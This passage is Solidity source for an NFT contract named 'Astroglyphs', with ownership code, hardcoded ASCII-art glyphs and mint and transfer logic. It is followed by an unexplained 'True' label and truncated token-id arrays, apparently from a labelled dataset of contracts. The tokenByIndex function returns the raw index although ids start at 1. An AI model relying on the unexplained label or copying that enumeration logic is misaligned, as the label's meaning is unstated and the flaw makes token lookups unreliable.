for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b) internal pure returns (string memory) {
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Astroglyphs is Ownable{
event Generated(uint indexed index, address indexed a, string value);
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
uint public constant TOKEN_LIMIT = 12; // 8 for testing, 256 or 512 for prod;
uint public constant ARTIST_PRINTS = 12; // 2 for testing, 64 for prod;
uint public constant PRICE = 200 finney;
address public constant BENEFICIARY = 0x28A9dE2183817164B91B0b693788E84Da3eAc59e;
mapping (uint => address) private idToCreator;
mapping (uint => uint8) private idToSymbolScheme;
// ERC 165
mapping(bytes4 => bool) internal supportedInterfaces;
/**
* @dev A mapping from NFT ID to the address that owns it.
*/
mapping (uint256 => address) internal idToOwner;
/**
* @dev A mapping from NFT ID to the seed used to make it.
*/
mapping (uint256 => uint256) internal idToSeed;
mapping (uint256 => uint256) internal seedToId;
/**
* @dev Mapping from NFT ID to approved address.
*/
mapping (uint256 => address) internal idToApproval;
/**
* @dev Mapping from owner address to mapping of operator addresses.
*/
mapping (address => mapping (address => bool)) internal ownerToOperators;
/**
* @dev Mapping from owner to list of owned NFT IDs.
*/
mapping(address => uint256[]) internal ownerToIds;
/**
* @dev Mapping from NFT ID to its index in the owner tokens list.
*/
mapping(uint256 => uint256) internal idToOwnerIndex;
/**
* @dev Total number of tokens.
*/
uint internal numTokens = 0;
/**
* @dev Guarantees that the msg.sender is an owner or operator of the given NFT.
* @param _tokenId ID of the NFT to validate.
*/
modifier canOperate(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender]);
_;
}
/**
* @dev Guarantees that the msg.sender is allowed to transfer NFT.
* @param _tokenId ID of the NFT to transfer.
*/
modifier canTransfer(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(
tokenOwner == msg.sender
|| idToApproval[_tokenId] == msg.sender
|| ownerToOperators[tokenOwner][msg.sender]
);
_;
}
/**
* @dev Guarantees that _tokenId is a valid Token.
* @param _tokenId ID of the NFT to validate.
*/
modifier validNFToken(uint256 _tokenId) {
require(idToOwner[_tokenId] != address(0));
_;
}
/**
* @dev Contract constructor.
*/
constructor() public {
supportedInterfaces[0x01ffc9a7] = true; // ERC165
supportedInterfaces[0x80ac58cd] = true; // ERC721
supportedInterfaces[0x780e9d63] = true; // ERC721 Enumerable
supportedInterfaces[0x5b5e139f] = true; // ERC721 Metadata
}
///////////////////
//// GENERATOR ////
///////////////////
int constant ONE = int(0x100000000);
uint constant USIZE = 64;
int constant SIZE = int(USIZE);
int constant HALF_SIZE = SIZE / int(2);
int constant SCALE = int(0x1b81a81ab1a81a823);
int constant HALF_SCALE = SCALE / int(2);
string internal nftName = "Astroglyphs";
string internal nftSymbol = "♊︎";
// 0x2E = .
// 0x4F = O
// 0x2B = +
// 0x58 = X
// 0x7C = |
// 0x2D = -
// 0x5C = \
// 0x2F = /
// 0x23 = #
function abs(int n) internal pure returns (int) {
if (n >= 0) return n;
return -n;
}
/* * ** *** ***** ******** ************* ******** ***** *** ** * */
// The following code generates art.
function draw(uint id) public view returns (string) {
//bytes memory output = new bytes(USIZE * (USIZE + 3) + 30);
bytes memory output;
if (id == 0) {
revert();
} else if (id == 1) {
output="data:text/plain;charset=utf-8,....................................................%0A....................................................%0A.....>/X0####XX/+..................|/X0####0X/+.....%0A....|0#0XXXXX0##0X...............+/###0XXXXX##0/....%0A..+X##/.......+X0#0/...........+X##X/.......+X##/...%0A..X##X...........X##X>.........###X........../##0+..%0A..X##/............0##X........X##X+..........|##0|..%0A../##X............+X##|......X#0/............/##X...%0A.../0#/............+X#0|....X##/............+X##+...%0A..../#0/............|0#X.../0##.............X##X....%0A.....................|##/.+X##X.....................%0A......................##0+X##X+.....................%0A......................X##/X##/......................%0A....................../##0##X.......................%0A......................+X####/.......................%0A.......................X###0>.......................%0A......................./###X........................%0A.......................>0##/........................%0A.......................+X##/........................%0A........................X##/........................%0A........................X##/........................%0A........................X##/........................%0A....................................................%0A....................................................";
}
else if (id == 2) {
output="data:text/plain;charset=utf-8,....................................................%0A....................................................%0A.....###0X/+...........................+/X0###/.....%0A.....+/X0##0X.........................>0##0X>+......%0A.........X0##0X...................../0##0/..........%0A..........+X###0|..................0###/............%0A............/###0/...............+X###X.............%0A.............|X###X/+..........X0##0X+..............%0A................|X####0XXXX00####0/.................%0A.................>##############0X+.................%0A..............+X0##0X/++...++|/0###/................%0A.............0###0..............+X0##X+.............%0A............|###X+................/###X.............%0A...........|0##/...................X###.............%0A.........../##X+.................../###>............%0A.........../##0+.................../###+............%0A...........+0##X...................0###.............%0A............+###X|...............+X##0/.............%0A.............X###0+............+/0##0/..............%0A.............../0###0X/>++>|/XX###0>................%0A................../X0#########0X/+..................%0A.....................+|/////|++.....................%0A....................................................%0A....................................................";
}
else if (id == 3) {
output="data:text/plain;charset=utf-8,....................................................%0A....................................................%0A.....#0XX//|>++.....................+++|//XXX0/.....%0A.....##########0XXXXXXXXXXXXXXXXXXX00#########/.....%0A........++|/XX0###000##########00###0XX/|+++........%0A............../###/............./###/...............%0A............../###/............./###/...............%0A............../###/............./###/...............%0A............../###/............./###/...............%0A............../###/............./###/...............%0A............../###/............./###/...............%0A............../###/............./###/...............%0A............../###/............./###/...............%0A............../###/............./###/...............%0A............../###/............./###/...............%0A............../###/............./###/...............%0A............../###/............./###/...............%0A............../###/............./###/...............%0A............../###/............./###/...............%0A.......++/XXXX0#####################0XXXX/|>+.......%0A.....########XXXXXXX////////////XXXXXX0#######/.....%0A.....XXX/>+++..........................++>|/XX/.....%0A....................................................%0A....................................................";
}
else if (id == 4) {
output="data:text/plain;charset=utf-8,....................................................%0A....................................................%0A......................+.............................%0A............+/XX0#####################0XXXXX|>++....%0A.........+/X0#########0/+++++++++++>||/XXX0####0....%0A......../##0X++...+|X0##X>...................++|....%0A....../0#X|...........X0##+.........................%0A.....+X##|.............X##/.........................%0A...../###............../##X.........................%0A.....+X##/.............X##/.........................%0A......|0#0/...........X0##..........................%0A......../##0X>++.++/X0#0X+.....>/XX####0X/|+........%0A........../X0#######0X+....../0#0XX|>>|XX0##X+......%0A.............+|///|++......+X##X>........+X0#0/.....%0A........................../0##X.............###X....%0A..........................X###/.............X##0....%0A..........................X###/.............X##0....%0A..........................|0##0............+##0/....%0A......+.....................X0#0X>......+/0#0X+.....%0A...../0XX/>++................+X###0XXXX00##0/.......%0A......|/XXX0#####0XXXXXXXXXXXX0########XX|+.........%0A..................++++++++++>>>>>+++................%0A....................................................%0A....................................................";
}
else if (id == 5) {
output="data:text/plain;charset=utf-8,....................................................%0A..........................++>||>++..................%0A.....................+X00XX////XX000X>..............%0A..................+X0#/............/0#0+............%0A..................X##X..............+X#X+...........%0A.................+##X................./#0>..........%0A.................|##/..................##/..........%0A.................+##/..................##/..........%0A..................X#X+................/#0|..........%0A..................+X#X...............+X#/...........%0A...........+>///|+./##...............X#X............%0A......../0#0XXXXX0####X............+X#0.............%0A......X0#/........+X0##/...........0#X+.............%0A...../##X...........X##X........../#X+..............%0A.....X##/............X#X........>0#/................%0A.....X##X.........../00|......./0#X.................%0A.....+X##+........./0#/........0#0>.................%0A.......+X#0XX///XX##X/........|#0|..................%0A..........+|/XXXX/+...........X#X...................%0A..............................X#/...................%0A............................../#X+.......+/+........%0A...............................X0#0XXXX0#0X/........%0A................................+/X000XX/+..........%0A....................................................";
}
else if (id == 6) {
output="data:text/plain;charset=utf-8,....................................................%0A....................................................%0A.......+/+.......+XXX/.......+/XX+..................%0A......../#0/.../00/X0#/...+X0XX0##X.................%0A.........##0/+X0X+../00|..0X+..X##0.................%0A.........X##00X......X#X/X+..../###.................%0A........./###/.......X###X...../###...|0#0X+........%0A........./###........X##X+...../###.+X#00##X........%0A........./###........X#0+....../###X00/../0#+.......%0A........./###........X#X+....../###0/.....X#/.......%0A........./###........X#X+....../###X....../#/.......%0A........./###........X#X+....../###......./#/.......%0A........./###........X#X+....../###.......X#/.......%0A........./###........X#X+....../###......|0#+.......%0A........./###........X#X+....../###.....+0#0........%0A........./###........X#X+....../###..../0#X+........%0A........./###........X#X+....../###...+0#X+.........%0A........./###........X#X+....../###.+X0X+...........%0A.........+XXX........|X/.......|0##00X|.............%0A.............................../0##X>...............%0A.........................>/XX0#XX0#X................%0A........................+X|++....+X#X+..............%0A..................................+00X/.............%0A....................................................";
}
else if (id == 7) {
output="data:text/plain;charset=utf-8,....................................................%0A....................................................%0A....................................................%0A.....................+/XXXXX/|+.....................%0A................../X0##########X/+..................%0A...............+X0##0X/+++++|/X###0+................%0A.............+X###X+...........+X0##X+..............%0A.............X###0.............../0##X..............%0A.............####/................/###/.............%0A.............####/................>###/.............%0A.............0###/................/###/.............%0A............./0###+.............+X0#0/..............%0A...../////////X####0+..........0####X///////////....%0A....+###############/..........#################....%0A.....|||||||||||||||+..........|||||||||||||||||....%0A....................................................%0A....................................................%0A....................................................%0A....+###########################################....%0A....+###########################################....%0A....................................................%0A....................................................%0A....................................................%0A....................................................";
}
else if (id == 8) {
output="data:text/plain;charset=utf-8,....................................................%0A....+++.........+|X/+.........+///..................%0A.....0#0X....+X0#00##0.....|X0#####.................%0A.....>0##X..|#X/...X##/...00/..|0##/................%0A....../##0//0/...../##X++XX+....X##/................%0A.......X####X......>0##000....../##X................%0A......./###X.......+X###X+....../##X................%0A......./##0/.......+X##0/......./##X................%0A......./##X........+X##/......../##X................%0A......./##X........+X##/......../##X................%0A......./##X........+X##/......../##X................%0A......./##X........+X##/......../##X................%0A......./##X........+X##/......../##X................%0A......./##X........+X##/........|##X................%0A......./##X........+X##/........+X#X................%0A......./##X........+X##/........+X#X................%0A......./##X........+X##/.........X#X................%0A......./##X........+X##/.........X#X+...............%0A......./##X........+X##/.........|0#X+......+.......%0A......./##X........+X##/........../##X/.....XX/+....%0A........++...........++............+XX0#########/...%0A............................................X0X|....%0A............................................++......%0A....................................................";
}
else if (id == 9) {
output="data:text/plain;charset=utf-8,....................................................%0A....................................................%0A..........................XXXXXXXXXXXXXXXXXXXXX/....%0A..........................XXXXXXXXXXXXXX0######X....%0A.......................................X0######X....%0A...................................../X##0XX###X....%0A...................................X###X|...###X....%0A................................./X##0X.....###X....%0A...............................X###X|.......###X....%0A.........+//................/X##0X/.........###X....%0A.........0##0+............/X###X|...........###X....%0A.........+X0##0/+......./X##0X|.............###X....%0A............+0###0+...X###X/........................%0A.............+X0##0//X##0X..........................%0A................+X####0/............................%0A.............../X######0/+..........................%0A............./X###X/|X###0+.........................%0A.........../X##0X|....+X0##0/+......................%0A.........X###X|..........+0###0.....................%0A......./X##0X.............+X0#0.....................%0A...../0##X|.........................................%0A.......++...........................................%0A....................................................%0A....................................................";
}
else if (id == 10) {
output="data:text/plain;charset=utf-8,....................................................%0A.......................++...........................%0A.....0XX/............/####+.........................%0A.....+|X00X+......./0#####X+........................%0A........|##X+.....X0##>+X##/........................%0A........./0#0....+##0/...X#X+.......................%0A........../##|..>0#0>....+##/.......................%0A..........+X#X..X##/......##/.......................%0A...........|00/X##/.......##X.......................%0A............X#####........##0|......................%0A............/#####........X##/.........+++..........%0A............+####X........X##X....+X0#######X+......%0A.............####/......../##0|./0#X/+.....|0#0|....%0A.............##00/........+0##XX0#0........./0#0....%0A.........................../0####X...........X##....%0A............................/###0/..........+X##....%0A............................X####0X.........X##0....%0A...........................X###+/0##XX/|//X0#0X+....%0A..........................X###/....|/XXXXXXX+.......%0A.........................+###X......................%0A......................./X0#0/.......................%0A................./#######0|.........................%0A.................+XXXX/|++..........................%0A....................................................";
}
else if (id == 11) {
output="data:text/plain;charset=utf-8,....................................................%0A....................................................%0A....................................................%0A....................................................%0A....................................................%0A............................+++.....................%0A............+/X0#0+.....+/0####+....../X00X/........%0A.........+/X0#####X/++/X0######0/++/X0######+.......%0A......+/X#0X|...>X#####0X/...>X######0X>|/X0#X+.....%0A....+0#0X.........XXX/.........0##X|........0#X+....%0A.....X/+........................++........../XX+....%0A....................................................%0A..............+|//......../X0#0........|/|+.........%0A...........+/0####/....+/X#####/....+/X###0X........%0A........+0##0///X0#######0X/XX0########X00##0>......%0A...../0##/+......+###0/+......+####X/+...../##X.....%0A....+#0X|.........|/|+........./XX/.........X#0/....%0A....................................................%0A....................................................%0A....................................................%0A....................................................%0A....................................................%0A....................................................%0A....................................................";
}
else if (id == 12) {
output="data:text/plain;charset=utf-8,....................................................%0A.........++++..........................+++++........%0A........../0#0/....................../0#0X+.........%0A............/##0/................../0##/............%0A.............X###X................+0##X.............%0A..............|0##/............../0#0/..............%0A................X##X+..........+X##X+...............%0A................+X##X..........X###+................%0A..................###X.........###X.................%0A..................0###........|###/.................%0A..................X###+......+X##0/.................%0A.........X################################X.........%0A........./XXXXXXXX0###XXXXXXXX0##0XXXXXXXX/.........%0A..................X###......../##X+.................%0A..................###X........+###/.................%0A................./##0|.........0##0.................%0A................+X##/........../0##>................%0A.............../0#0/............|0#0/...............%0A.............+X##0................X##X|.............%0A.............0##0/.................0##0.............%0A.........../0#0/..................../0#0/...........%0A........./X00|........................>000X+........%0A....................................................%0A....................................................";
}
else{
revert();
}
string memory result = string(output);
return result;
}
/* * ** *** ***** ******** ************* ******** ***** *** ** * */
function creator(uint _id) external view returns (address) {
return idToCreator[_id];
}
function createGlyph(uint seed) external payable onlyOwner returns (string) {
return _mint(msg.sender, seed);
}
//////////////////////////
//// ERC 721 and 165 ////
//////////////////////////
/**
* @dev Returns whether the target address is a contract.
* @param _addr Address to check.
* @return True if _addr is a contract, false if not.
*/
function isContract(address _addr) internal view returns (bool addressCheck) {
uint256 size;
assembly { size := extcodesize(_addr) } // solhint-disable-line
addressCheck = size > 0;
}
/**
* @dev Function to check which interfaces are suported by this contract.
* @param _interfaceID Id of the interface.
* @return True if _interfaceID is supported, false otherwise.
*/
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
return supportedInterfaces[_interfaceID];
}
/**
* @dev Transfers the ownership of an NFT from one address to another address. This function can
* be changed to payable.
* @notice Throws unless `msg.sender` is the current owner, an authorized operator, or the
* approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is
* the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this
* function checks if `_to` is a smart contract (code size > 0). If so, it calls
* `onERC721Received` on `_to` and throws if the return value is not
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`.
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
* @param _data Additional data with no specified format, sent in call to `_to`.
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) external {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
/**
* @dev Transfers the ownership of an NFT from one address to another address. This function can
* be changed to payable.
* @notice This works identically to the other function with an extra data parameter, except this
* function just sets data to ""
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
_safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved
* address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero
* address. Throws if `_tokenId` is not a valid NFT. This function can be changed to payable.
* @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else
* they maybe be permanently lost.
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
*/
function transferFrom(address _from, address _to, uint256 _tokenId) external canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from);
require(_to != address(0));
_transfer(_to, _tokenId);
}
/**
* @dev Set or reaffirm the approved address for an NFT. This function can be changed to payable.
* @notice The zero address indicates there is no approved address. Throws unless `msg.sender` is
* the current NFT owner, or an authorized operator of the current owner.
* @param _approved Address to be approved for the given NFT ID.
* @param _tokenId ID of the token to be approved.
*/
function approve(address _approved, uint256 _tokenId) external canOperate(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(_approved != tokenOwner);
idToApproval[_tokenId] = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
/**
* @dev Enables or disables approval for a third party ("operator") to manage all of
* `msg.sender`'s assets. It also emits the ApprovalForAll event.
* @notice This works even if sender doesn't own any tokens at the time.
* @param _operator Address to add to the set of authorized operators.
* @param _approved True if the operators is approved, false to revoke approval.
*/
function setApprovalForAll(address _operator, bool _approved) external {
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
/**
* @dev Returns the number of NFTs owned by `_owner`. NFTs assigned to the zero address are
* considered invalid, and this function throws for queries about the zero address.
* @param _owner Address for whom to query the balance.
* @return Balance of _owner.
*/
function balanceOf(address _owner) external view returns (uint256) {
require(_owner != address(0));
return _getOwnerNFTCount(_owner);
}
/**
* @dev Returns the address of the owner of the NFT. NFTs assigned to zero address are considered
* invalid, and queries about them do throw.
* @param _tokenId The identifier for an NFT.
* @return Address of _tokenId owner.
*/
function ownerOf(uint256 _tokenId) external view returns (address _owner) {
_owner = idToOwner[_tokenId];
require(_owner != address(0));
}
/**
* @dev Get the approved address for a single NFT.
* @notice Throws if `_tokenId` is not a valid NFT.
* @param _tokenId ID of the NFT to query the approval of.
* @return Address that _tokenId is approved for.
*/
function getApproved(uint256 _tokenId) external view validNFToken(_tokenId) returns (address) {
return idToApproval[_tokenId];
}
/**
* @dev Checks if `_operator` is an approved operator for `_owner`.
* @param _owner The address that owns the NFTs.
* @param _operator The address that acts on behalf of the owner.
* @return True if approved for all, false otherwise.
*/
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return ownerToOperators[_owner][_operator];
}
/**
* @dev Actually preforms the transfer.
* @notice Does NO checks.
* @param _to Address of a new owner.
* @param _tokenId The NFT that is being transferred.
*/
function _transfer(address _to, uint256 _tokenId) internal {
address from = idToOwner[_tokenId];
_clearApproval(_tokenId);
_removeNFToken(from, _tokenId);
_addNFToken(_to, _tokenId);
emit Transfer(from, _to, _tokenId);
}
/**
* @dev Mints a new NFT.
* @notice This is an internal function which should be called from user-implemented external
* mint function. Its purpose is to show and properly initialize data structures when using this
* implementation.
* @param _to The address that will own the minted NFT.
*/
function _mint(address _to, uint seed) internal returns (string) {
require(_to != address(0));
require(numTokens < TOKEN_LIMIT);
uint amount = 0;
if (numTokens >= ARTIST_PRINTS) {
amount = PRICE;
require(msg.value >= amount);
}
require(seedToId[seed] == 0);
uint id = numTokens + 1;
idToCreator[id] = _to;
idToSeed[id] = seed;
seedToId[seed] = id;
string memory uri = draw(id);
emit Generated(id, _to, uri);
numTokens = numTokens + 1;
_addNFToken(_to, id);
if (msg.value > amount) {
msg.sender.transfer(msg.value - amount);
}
if (amount > 0) {
BENEFICIARY.transfer(amount);
}
emit Transfer(address(0), _to, id);
return uri;
}
/**
* @dev Assigns a new NFT to an address.
* @notice Use and override this function with caution. Wrong usage can have serious consequences.
* @param _to Address to which we want to add the NFT.
* @param _tokenId Which NFT we want to add.
*/
function _addNFToken(address _to, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == address(0));
idToOwner[_tokenId] = _to;
uint256 length = ownerToIds[_to].push(_tokenId);
idToOwnerIndex[_tokenId] = length - 1;
}
/**
* @dev Removes a NFT from an address.
* @notice Use and override this function with caution. Wrong usage can have serious consequences.
* @param _from Address from wich we want to remove the NFT.
* @param _tokenId Which NFT we want to remove.
*/
function _removeNFToken(address _from, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == _from);
delete idToOwner[_tokenId];
uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];
uint256 lastTokenIndex = ownerToIds[_from].length - 1;
if (lastTokenIndex != tokenToRemoveIndex) {
uint256 lastToken = ownerToIds[_from][lastTokenIndex];
ownerToIds[_from][tokenToRemoveIndex] = lastToken;
idToOwnerIndex[lastToken] = tokenToRemoveIndex;
}
ownerToIds[_from].length--;
}
/**
* @dev Helper function that gets NFT count of owner. This is needed for overriding in enumerable
* extension to remove double storage (gas optimization) of owner nft count.
* @param _owner Address for whom to query the count.
* @return Number of _owner NFTs.
*/
function _getOwnerNFTCount(address _owner) internal view returns (uint256) {
return ownerToIds[_owner].length;
}
/**
* @dev Actually perform the safeTransferFrom.
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
* @param _data Additional data with no specified format, sent in call to `_to`.
*/
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) private canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from);
require(_to != address(0));
_transfer(_to, _tokenId);
if (isContract(_to)) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
require(retval == MAGIC_ON_ERC721_RECEIVED);
}
}
/**
* @dev Clears the current approval of a given NFT ID.
* @param _tokenId ID of the NFT to be transferred.
*/
function _clearApproval(uint256 _tokenId) private {
if (idToApproval[_tokenId] != address(0)) {
delete idToApproval[_tokenId];
}
}
//// Enumerable
function totalSupply() public view returns (uint256) {
return numTokens;
}
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < numTokens);
return index;
}
/**
* @dev returns the n-th NFT ID from a list of owner's tokens.
* @param _owner Token owner's address.
* @param _index Index number representing n-th token in owner's list of tokens.
* @return Token id.
*/
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
require(_index < ownerToIds[_owner].length);
return ownerToIds[_owner][_index];
}
//// Metadata
/**
* @dev Returns a descriptive name for a collection of NFTokens.
* @return Representing name.
*/
function name() external view returns (string memory _name) {
_name = nftName;
}
/**
* @dev Returns an abbreviated name for NFTokens.
* @return Representing symbol.
*/
function symbol() external view returns (string memory _symbol) {
_symbol = nftSymbol;
}
/**
* @dev A distinct URI (RFC 3986) for a given NFT.
* @param _tokenId Id for which we want uri.
* @return URI of _tokenId.
*/
function tokenURI(uint256 _tokenId) external view validNFToken(_tokenId) returns (string memory) {
//return draw(_tokenId);
return Strings.strConcat(
"http://astroglyphs.s3-website-us-east-1.amazonaws.com/",
Strings.uint2str(_tokenId),
".json"
);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
5718,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
8278,
9413,
2278,
2581,
17465,
18715,
2368,
2890,
3401,
16402,
1063,
3853,
2028,
11890,
2581,
17465,
2890,
3401,
3512,
2094,
1006,
4769,
1035,
6872,
1010,
4769,
1035,
2013,
1010,
21318,
3372,
17788,
2575,
1035,
19204,
3593,
1010,
27507,
1035,
2951,
1007,
6327,
5651,
1006,
27507,
2549,
1007,
1025,
1065,
3075,
7817,
1063,
1013,
1013,
3081,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2030,
6305,
3669,
4371,
1013,
28855,
14820,
1011,
17928,
1013,
1038,
4135,
2497,
1013,
3040,
1013,
2030,
6305,
3669,
4371,
9331,
2072,
1035,
1014,
1012,
1019,
1012,
14017,
3853,
2358,
29566,
20909,
2102,
1006,
5164,
3638,
1035,
1037,
1010,
5164,
3638,
1035,
1038,
1010,
5164,
3638,
1035,
1039,
1010,
5164,
3638,
1035,
1040,
1010,
5164,
3638,
1035,
1041,
1007,
4722,
5760,
5651,
1006,
5164,
3638,
1007,
1063,
27507,
3638,
1035,
8670,
1027,
27507,
1006,
1035,
1037,
1007,
1025,
27507,
3638,
1035,
22861,
1027,
27507,
1006,
1035,
1038,
1007,
1025,
27507,
3638,
1035,
4647,
1027,
27507,
1006,
1035,
1039,
1007,
1025,
27507,
3638,
1035,
1038,
2094,
1027,
27507,
1006,
1035,
1040,
1007,
1025,
27507,
3638,
1035,
2022,
1027,
27507,
1006,
1035,
1041,
1007,
1025,
5164,
3638,
5925,
3207,
1027,
2047,
5164,
1006,
1035,
8670,
1012,
3091,
1009,
1035,
22861,
1012,
3091,
1009,
1035,
4647,
1012,
3091,
1009,
1035,
1038,
2094,
1012,
3091,
1009,
1035,
2022,
1012,
3091,
1007,
1025,
27507,
3638,
8670,
9818,
3207,
1027,
27507,
1006,
5925,
3207,
1007,
1025,
21318,
3372,
1047,
1027,
1014,
1025,
21318,
3372,
1045,
1027,
1014,
1025,
2005,
1006,
1045,
1027,
1014,
1025,
1045,
1026,
1035,
8670,
1012,
3091,
1025,
1045,
1009,
1009,
1007,
8670,
9818,
3207,
1031,
1047,
1009,
1009,
1033,
1027,
1035,
8670,
1031,
1045,
1033,
1025,
2005,
1006,
1045,
1027,
1014,
1025,
1045,
1026,
1035,
22861,
1012,
3091,
1025,
1045,
1009,
1009,
1007,
8670,
9818,
3207,
1031,
1047,
1009,
1009,
1033,
1027,
1035,
22861,
1031,
1045,
1033,
1025,
2005,
1006,
1045,
1027,
1014,
1025,
1045,
1026,
1035,
4647,
1012,
3091,
1025,
1045,
1009,
1009,
1007,
8670,
9818,
3207,
1031,
1047,
1009,
1009,
1033,
1027,
1035,
4647,
1031,
1045,
1033,
1025,
2005,
1006,
1045,
1027,
1014,
1025,
1045,
1026,
1035,
1038,
2094,
1012,
3091,
1025,
1045,
1009,
1009,
1007,
8670,
9818,
3207,
1031,
1047,
1009,
1009,
1033,
1027,
1035,
1038,
2094,
1031,
1045,
1033,
1025,
2005,
1006,
1045,
1027,
1014,
1025,
1045,
1026,
1035,
2022,
1012,
3091,
1025,
1045,
1009,
1009,
1007,
8670,
9818,
3207,
1031,
1047,
1009,
1009,
1033,
1027,
1035,
2022,
1031,
1045,
1033,
1025,
2709,
5164,
1006,
8670,
9818,
3207,
1007,
1025,
1065,
3853,
2358,
29566,
20909,
2102,
1006,
5164,
3638,
1035,
1037,
1010,
5164,
3638,
1035,
1038,
1010,
5164,
3638,
1035,
1039,
1010,
5164,
3638,
1035,
1040,
1007,
4722,
5760,
5651,
1006,
5164,
3638,
1007,
1063,
2709,
2358,
29566,
20909,
2102,
1006,
1035,
1037,
1010,
1035,
1038,
1010,
1035,
1039,
1010,
1035,
1040,
1010,
1000,
1000,
1007,
1025,
1065,
3853,
2358,
29566,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
